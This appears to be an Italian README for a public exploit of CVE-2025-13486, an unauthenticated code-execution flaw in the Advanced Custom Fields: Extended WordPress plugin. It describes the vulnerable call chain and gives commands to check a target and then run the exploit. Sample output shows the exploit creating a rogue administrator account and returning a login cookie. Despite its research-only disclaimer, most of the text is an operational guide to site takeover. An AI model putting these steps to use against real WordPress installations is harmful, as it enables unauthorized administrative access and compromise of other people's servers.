
CVE-2025-13486 - Exploit per esecuzione di codice in remoto e escalation dei privilegi
Exploit per la CVE-2025-13486 scoperta da Marcin Dudek (dudekmar)
Questo repository è fornito esclusivamente per scopi di ricerca e sicurezza difensiva. L'autore non si assume alcuna responsabilità per l'uso improprio di queste informazioni.
Il plugin Advanced Custom Fields: Extended (ACFE) per WordPress è vulnerabile a Esecuzione di Codice Remoto (RCE) nelle versioni dalla 0.9.0.5 alla 0.9.1.1.
La vulnerabilità risiede nella funzione prepare_form(), che accetta input controllati dall'utente e li inoltra a call_user_func_array() senza una corretta validazione.
Ciò consente ad attaccanti non autenticati di eseguire codice PHP arbitrario sul server in modo limitato, ma comunque sufficiente per creare un account amministratore e accedere.
La catena di vulnerabilità è la seguente:
includes/modules/form/module-form-front.php:24 -> L'azione wp_ajax_nopriv_acfe/form/render_form_ajax attiva il gestore render_form_ajax.
includes/modules/form/module-form-front.php:492 -> Viene applicato il filtro acfe/form/prepare_form, che invoca la funzione prepare_form().
includes/modules/form/module-form-front-render.php:151 -> I dati $form controllati dall'utente vengono passati direttamente a call_user_func_array().
Installa le dipendenze Python:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Identifica un target WordPress vulnerabile.
Il target deve contenere una pagina con un modulo generato da ACFE.
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
Output esempio:
[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
Esegui nuovamente lo script con il flag --exploit:
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
Output esempio:
[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
Usa il cookie di autenticazione WordPress restituito per accedere come account amministratore appena creato.